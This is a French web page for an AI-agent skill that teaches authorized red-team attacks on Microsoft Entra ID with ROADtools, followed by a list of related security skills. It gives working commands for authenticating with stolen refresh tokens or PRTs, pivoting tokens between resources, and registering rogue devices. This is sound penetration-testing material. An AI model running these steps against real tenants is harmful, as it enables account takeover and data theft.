Communitygithub.com

Attaquant Entra ID avec ROADtools

Énumérez les locataires Microsoft Entra ID (Azure AD) avec ROADrecon et roadtx, et exploitez les jetons d'accès.

Qu'est-ce que Attaquant Entra ID avec ROADtools ?

Cette compétence permet aux testeurs d'intrusion et aux équipes rouges d'exploiter la suite ROADtools (de Dirk-jan Mollema) pour la découverte et l'attaque de Microsoft Entra ID. ROADrecon s'authentifie via différents flux OAuth (y compris ROPC, code d'appareil, PRT), collecte l'intégralité de l'annuaire (utilisateurs, groupes, rôles, applications, principaux de service, stratégies d'accès conditionnel) dans une base de données SQLite locale pour une analyse hors ligne et une exploration via une interface Angular. roadtx permet l'acquisition, l'échange et la manipulation de jetons – y compris les échanges de jetons d'actualisation entre ressources via la famille de clients FOCI, l'enregistrement d'appareils et l'obtention/utilisation de PRT (Primary Refresh Token) pour un SSO de niveau privilège. La compétence couvre les tactiques MITRE ATT&CK de découverte (T1087.004, T1069.003, T1538), de contournement de défense (T1550.001) et d'accès aux identifiants (T1528). Elle nécessite une autorisation écrite préalable sur le locataire cible et un point de départ – identifiant/mot de passe, jeton d'actualisation, code d'appareil ou PRT d'un appareil enregistré. L'installation se fait via pip (roadrecon, roadtx) et la documentation est disponible sur le dépôt GitHub de ROADtools.

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Attaquer Entra ID avec ROADtools

Utilisation autorisée uniquement : ROADtools interagit avec des locataires Microsoft Entra ID (Azure AD) réels et peut enregistrer des appareils, créer et échanger des jetons, et énumérer des objets d'annuaire. Utilisez-le uniquement sur des locataires que vous possédez ou pour lesquels vous êtes explicitement autorisé par écrit à tester. L'accès non autorisé à un locataire cloud est illégal.

Vue d'ensemble

ROADtools (par Dirk-jan Mollema) est la boîte à outils offensive de facto pour Microsoft Entra ID. Il comprend deux composants principaux :

  • ROADrecon — s'authentifie auprès d'Entra ID, collecte l'intégralité de l'annuaire dans une base de données SQLite locale via l'API Azure AD Graph, et sert une interface utilisateur Angular pour explorer hors ligne les utilisateurs, groupes, rôles, applications, principaux de service, stratégies d'accès conditionnel et objets d'appareil. Un système de plugins permet l'exportation vers BloodHound et l'analyse des stratégies d'accès conditionnel.
  • roadtx (ROADtools Token eXchange) — acquiert et échange des jetons émis par Entra via les nombreux flux OAuth (ROPC, code d'appareil, code d'autorisation, échange de jeton d'actualisation, application fédérée), effectue l'enregistrement d'appareil et gère les opérations de Primary Refresh Token (PRT) incluant le SSO basé sur PRT et la création de cookies. Sa connaissance de la famille de clients FOCI (Family of Client IDs) permet à un jeton d'actualisation pour un client propriétaire d'être échangé pour une autre ressource.

Ensemble, ils couvrent la phase de Découverte contre l'identité cloud : énumérer le locataire (T1087.004 Account Discovery: Cloud Account) et obtenir/manipuler les jetons nécessaires pour accéder à Microsoft Graph, Azure Resource Manager et d'autres ressources. La base de données hors ligne de ROADrecon rend la reconnaissance furtive et rapide ; roadtx rend le vol de jetons, l'abus de PRT et le pivotement entre ressources pratiques.

Quand l'utiliser

  • Lors d'un test d'intrusion Azure / Entra ID ou d'un test d'équipe rouge autorisé.
  • Lorsque vous disposez d'un identifiant, d'un jeton d'actualisation ou d'un PRT et devez énumérer le locataire.
  • Lorsque vous devez faire pivoter un jeton d'une ressource (par exemple, Azure CLI) vers une autre (par exemple, Microsoft Graph).
  • Lors de la validation que les stratégies d'accès conditionnel, de conformité des appareils et les contrôles de jetons contraignent réellement un attaquant.
  • Lors de la cartographie des chemins d'attaque Entra (exportation vers BloodHound pour analyse de graphe).

Prérequis

  • Autorisation écrite et périmètre défini pour le locataire cible.
  • Un identifiant de départ : nom d'utilisateur/mot de passe (pas de flux MFA), une session de code d'appareil, un jeton d'actualisation/d'accès, ou le PRT d'un appareil enregistré.
  • Python 3.7+ (les flux Selenium de roadtx nécessitent un geckodriver/Firefox compatible).
# Installation de base (roadlib est une dépendance partagée, installée automatiquement)
python -m pip install roadrecon
python -m pip install roadtx
# Vérification
roadrecon --help
roadtx --help

Objectifs

  • S'authentifier auprès d'Entra ID via le flux approprié (code d'appareil préféré pour MFA).
  • Collecter l'intégralité de l'annuaire avec ROADrecon et l'analyser dans l'interface utilisateur graphique.
  • Exporter l'annuaire vers BloodHound et exécuter les plugins d'analyse des stratégies d'accès conditionnel.
  • Acquérir des jetons avec roadtx et échanger des jetons d'actualisation entre ressources/clients.
  • Démontrer le SSO basé sur PRT et documenter l'accès résultant.

Cartographie MITRE ATT&CK

IDTactiqueNom technique officielRôle dans cette compétence
T1087.004DécouverteAccount Discovery: Cloud AccountROADrecon énumère les utilisateurs/comptes du locataire
T1069.003DécouvertePermission Groups Discovery: Cloud GroupsROADrecon énumère les groupes et rôles Entra
T1538DécouverteCloud Service DashboardExploration de la configuration du locataire via l'interface graphique
T1550.001Contournement de défense / Mouvement latéralUse Alternate Authentication Material: Application Access TokenÉchange de jetons d'actualisation roadtx entre ressources
T1528Accès aux identifiantsSteal Application Access TokenAcquisition de PRT/jeton roadtx

Flux de travail

Étape 1 : Authentification avec ROADrecon

Choisissez le flux qui correspond à votre point d'accès. Le code d'appareil prend en charge MFA ; ROPC (-u/-p) ne le prend pas en charge.

# Nom d'utilisateur/mot de passe (hérité, pas de MFA)
roadrecon auth -u [email protected] -p 'Password123!'

# Flux de code d'appareil (prend en charge MFA)
roadrecon auth --device-code

# À partir d'un jeton d'accès ou d'actualisation volé
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# À partir d'un PRT (avec clé de session) pour un accès de niveau SSO
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

L'authentification écrit .roadtools_auth dans le répertoire de travail.

Étape 2 : Collecter l'annuaire

# Collecte complète dans roadrecon.db (par défaut)
roadrecon gather

# Inclure les détails MFA/méthode d'authentification (nécessite un rôle privilégié)
roadrecon gather --mfa

Étape 3 : Explorer dans l'interface graphique

roadrecon gui
# Accédez à http://127.0.0.1:5000 — utilisateurs, groupes, rôles, applications,
# principaux de service, appareils et stratégies d'accès conditionnel, le tout hors ligne.

Étape 4 : Exécuter les plugins d'analyse

# Analyser les stratégies d'accès conditionnel
roadrecon plugin policies -h
roadrecon plugin policies

# Exporter les données collectées vers un format importable par BloodHound
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Étape 5 : Acquérir des jetons avec roadtx

# ROPC : obtenir un jeton Microsoft Graph pour le client Azure CLI
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# Authentification interactive de style code d'appareil pour le client Teams vers Graph
roadtx interactiveauth -c msteams -r msgraph

# À partir d'un jeton d'actualisation existant
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Les jetons sont écrits dans .roadtools_auth (utilisez --tokens-stdout pour les afficher).

Étape 6 : Échanger des jetons d'actualisation entre ressources (pivot FOCI)

Un jeton d'actualisation FOCI obtenu pour un client propriétaire peut être échangé pour une autre ressource sans ré-authentification.

# Convertir le jeton d'actualisation stocké en jeton Azure Resource Manager
roadtx refreshtokento -r azrm

# Convertir en jeton Graph avec étendue via le client Teams
roadtx refreshtokento -c msteams -r msgraph

# Trouver quels clients propriétaires détiennent une étendue donnée
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Étape 7 : Enregistrement d'appareil et SSO basé sur PRT

# Enregistrer un appareil (virtuel) sur le locataire
roadtx device -n redteam-device

# Demander un PRT en utilisant le certificat/clé de l'appareil et les identifiants utilisateur
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Utiliser le PRT pour authentifier un client à une ressource (niveau SSO)
roadtx prtauth -c msteams -r msgraph

# Enrichir un PRT avec une revendication MFA interactive
roadtx prtenrich -u [email protected]

Étape 8 : Inspecter les jetons

# Décoder et afficher les revendications du jeton stocké / d'un jeton fourni
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Outils et ressources

OutilObjectifSource principale
ROADtools (dépôt)Présentation de la boîte à outils + wikihttps://github.com/dirkjanm/ROADtools
Wiki ROADreconUtilisation auth/collecte/interface graphique/pluginhttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
Wiki roadtxÉchange de jetons + flux PRT/appareilhttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEAnalyse de graphe des données Entra exportéeshttps://github.com/SpecterOps/BloodHound
Plateforme d'identité MicrosoftRéférence jeton/fluxhttps://learn.microsoft.com/entra/identity-platform/

Critères de validation

  • Authentifié au locataire cible via un flux autorisé ; .roadtools_auth créé.
  • Annuaire collecté dans roadrecon.db (avec --mfa lorsque le rôle le permet).
  • Interface graphique explorée ; utilisateurs, groupes, rôles, applications, stratégies d'accès conditionnel examinés.
  • Plugins d'analyse des stratégies d'accès conditionnel et BloodHound exécutés ; données exportées.
  • Jetons acquis avec roadtx pour au moins une ressource.
  • Échange de jeton d'actualisation vers une deuxième ressource démontré (pivot FOCI).
  • Appareil enregistré et SSO basé sur PRT démontré (lorsque dans le périmètre).
  • Revendications de jeton inspectées avec roadtx describe.
  • Résultats et accès documentés pour le rapport d'engagement.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills associés